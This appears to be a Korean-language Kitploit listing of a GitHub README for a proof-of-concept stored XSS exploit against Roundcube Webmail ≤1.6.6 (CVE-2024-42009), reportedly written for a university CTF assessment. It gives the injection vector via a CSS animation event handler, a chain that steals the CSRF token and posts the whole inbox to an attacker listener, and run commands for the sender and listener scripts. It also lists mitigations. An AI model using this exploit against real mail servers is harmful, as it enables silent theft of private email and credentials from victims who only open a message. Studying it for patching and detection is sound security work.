Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-42009-roundcube-xss — # Roundcube Webmail ≤1.6.6용 저장형 XSS 익스플로잇 (CVE-2024-42009) CSS 애니메이션 이벤트 핸들러를 통한 제로클릭 이메일 탈취 기능을 갖춘 Roundcube Webmail ≤1.6.6용 저장형 XSS 익스플로잇입니다. SMTP 전송 스크립트와 CORS 지원 리스너를 포함하며, CTF 및 승인된 보안 테스트용으로 제작되었습니다. | Kitploit
도구/GitHubGitHub/segunakinsoyinu/cve-2024-42009-roundcube-xss
Phishing ToolsExploitationWeb Application ExploitationData ExfiltrationCTFPenetration TestingLearning & Education
GitHubsegunakinsoyinu/cve-2024-42009-roundcube-xss

CVE-2024-42009-roundcube-xss

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

# Roundcube Webmail ≤1.6.6용 저장형 XSS 익스플로잇 (CVE-2024-42009) CSS 애니메이션 이벤트 핸들러를 통한 제로클릭 이메일 탈취 기능을 갖춘 Roundcube Webmail ≤1.6.6용 저장형 XSS 익스플로잇입니다. SMTP 전송 스크립트와 CORS 지원 리스너를 포함하며, CTF 및 승인된 보안 테스트용으로 제작되었습니다.

저장소 보기
22개월 전아직 검토되지 않음

CVE-2024-42009 — Roundcube Webmail 1.6.6 저장형 XSS PoC

공인된 보안 테스트, CTF 환경 및 교육 연구 목적으로만 사용하십시오.
소유하지 않았거나 서면 허가를 받지 않은 시스템에 이 도구를 사용하는 것은 영국의 Computer Misuse Act 1990, 미국의 CFAA 및 전 세계의 동등한 법률에 따라 불법입니다.


취약점 요약

필드세부 정보
CVECVE-2024-42009
영향을 받는 소프트웨어Roundcube Webmail ≤ 1.6.6
패치 버전1.6.7 / 1.6.8
CVSS v3.1 점수8.8 (높음)
CVSS 벡터AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N
CWECWE-79 — 웹 페이지 생성 중 입력값의 부적절한 중화 (XSS)
공격 유형저장형 XSS → 제로클릭 이메일 탈취
필요한 인증없음 (SMTP 전송); 낮음 (피해자가 이메일을 열어야 함)

작동 원리

Roundcube 1.6.6의 HTML 정화기는 잘못 구성된 <body> 태그 속성 내 CSS 애니메이션 키프레임에 첨부된 JavaScript 이벤트 핸들러를 제거하지 못합니다.

주입 벡터:

root@kitploit:~
<style>@keyframes x { from { opacity: 1; } to { opacity: 1; } }</style>
<body style="animation: x 0.001s;" onanimationstart="/* arbitrary JS */">

피해자가 인증된 Roundcube 세션에서 이메일을 열면 CSS 애니메이션이 즉시 실행됩니다. onanimationstart 핸들러는 세션의 request_token을 포함한 rcmail JavaScript 객체에 대한 전체 액세스 권한으로 실행됩니다.

악용 체인:

root@kitploit:~
1. 공격자는 인증되지 않은 SMTP 릴레이(포트 25)를 통해 피해자에게 악성 HTML 이메일을 전송합니다.
2. 피해자가 Roundcube에서 이메일을 엽니다 — 애니메이션이 실행되고 JS가 실행됩니다 (클릭 0회 필요).
3. JS가 rcmail.env.request_token(세션의 유효한 CSRF 토큰)을 읽습니다.
4. JS가 Roundcube 내부 메일 API를 통해 모든 받은 편지함 UID를 순회합니다.
5. 각 메시지를 가져와 그 내용을 수집합니다.
6. 모든 받은 편지함 데이터가 JSON으로 공격자의 HTTP 리스너에 POST됩니다.
7. 공격자는 탈취한 이메일을 읽습니다 — 자격 증명, 세션 데이터 또는 민감한 통신이 포함될 수 있습니다.

저장소 구조

root@kitploit:~
cve-2024-42009-roundcube-xss/
├── exploit.py       # Sends the XSS payload via unauthenticated SMTP
├── listener.py      # CORS-capable HTTP server; receives and prints exfiltrated inbox data
├── payload.html     # Standalone XSS payload for manual inspection or Burp delivery
└── README.md

요구 사항

  • Python 3.7+
  • 외부 종속성 없음 (표준 라이브러리만 사용: smtplib, http.server, json, argparse)
  • 대상은 Roundcube ≤ 1.6.6을 실행 중이어야 함
  • 대상 SMTP 서버는 포트 25에서 인증되지 않은 릴레이를 허용해야 함 (실험실 환경에서 일반적)

사용 방법

1단계 — 리스너 시작 (공격자 머신에서)

root@kitploit:~
python3 listener.py --port 8080

데이터 수신 시 출력:

root@kitploit:~
[+] Exfiltration received from 192.168.62.128
[*] Session token : abc123...
[*] Emails captured: 19

  --- Email 1 ---
  UID     : 1
  From    : [email protected]
  Subject : SSH Access Credentials
  Body    : Your credentials are: ...

전체 JSON 덤프는 exfil_dump.json 파일로 자동 저장됩니다.

2단계 — 페이로드 전송

root@kitploit:~
python3 exploit.py \
  --smtp 192.168.62.128 \
  --port 25 \
  --from [email protected] \
  --to [email protected] \
  --attacker 192.168.62.129 \
  --lport 8080 \
  --subject "Security Advisory - Action Required"

3단계 — 피해자가 이메일을 열 때까지 대기

이메일이 Roundcube ≤ 1.6.6에서 열리면 리스너가 탈취된 받은 편지함 내용을 출력합니다.


이것이 작동하는 이유 (기술적 세부 사항)

Roundcube의 HTML 정화기는 수신 이메일 HTML을 렌더링하기 전에 위험한 속성을 제거합니다. 버전 ≤ 1.6.6에서 정화기는 onclick, onerror 및 이와 유사한 핸들러는 올바르게 제거하지만 CSS 애니메이션 이벤트(onanimationstart, onanimationend, onanimationiteration)의 이벤트 핸들러는 제거하지 않습니다.

CSS 애니메이션은 렌더링의 일부로 실행되므로(사용자 상호작용이 아님) 링크 클릭이나 메시지 열기 외의 사용자 조작 없이 이메일이 열리는 순간 핸들러가 실행됩니다.

rcmail JavaScript 객체는 모든 인증된 Roundcube 세션에서 전역적으로 접근 가능합니다. 이 객체는 세션의 CSRF 토큰인 rcmail.env.request_token을 노출합니다. Roundcube 자체 메일 API 엔드포인트(?_task=mail&_action=list, ?_action=show)와 결합하면 페이로드는 추가 인증 없이 전체 받은 편지함을 읽을 수 있습니다.


영향을 받는 버전

버전상태
≤ 1.6.6취약
1.6.7패치됨
1.6.8패치됨 (권장)
1.5.x LTS공급업체 권고 확인

해결 방법

조치세부 정보
업그레이드Roundcube 1.6.8 이상이 이 클래스의 XSS를 패치합니다.
CSP 헤더웹메일 vhost에 Content-Security-Policy: default-src 'self'; script-src 'self'를 배포하여 인라인 JS 실행을 차단하십시오.
SMTP 릴레이포트 25에서 인증되지 않은 릴레이를 비활성화하고 모든 내부 전송에 AUTH를 요구하십시오.

참고 자료

  • Roundcube 보안 권고
  • NVD — CVE-2024-42009
  • OWASP Top 10 A03 — 주입

발견 / 시연자

이 PoC는 Coventry University 컴퓨터 보안 석사 과정(2025–2026)의 윤리적 해킹 및 침투 테스트 모듈에서 Boot-to-Root CTF 침투 테스트 평가의 일환으로 개발 및 테스트되었습니다. 모든 테스트는 명시적인 서면 승인을 받은 격리된 VMware 실험실 환경에서 수행되었습니다.

저자: Segun Akinsoyinu
포트폴리오: segunakinsoyinu.github.io/MyPortfolio


법적 고지

이 코드는 교육 및 공인된 보안 연구 목적으로만 공개됩니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다. 이 도구를 사용하기 전에 대상 시스템을 테스트할 수 있는 명시적인 서면 승인을 받았는지 확인하십시오.

도구 다운로드
인자설명
--smtp대상 SMTP 서버의 IP 또는 호스트명
--portSMTP 포트 (기본값: 25)
--from발신자 주소 (릴레이가 허용하는 모든 값)
--to피해자의 이메일 주소
--attacker본인의 IP — 데이터 탈취 수집기로 페이로드에 포함됨
--lport본인의 리스너 포트 (기본값: 8080)
--subject이메일 제목 줄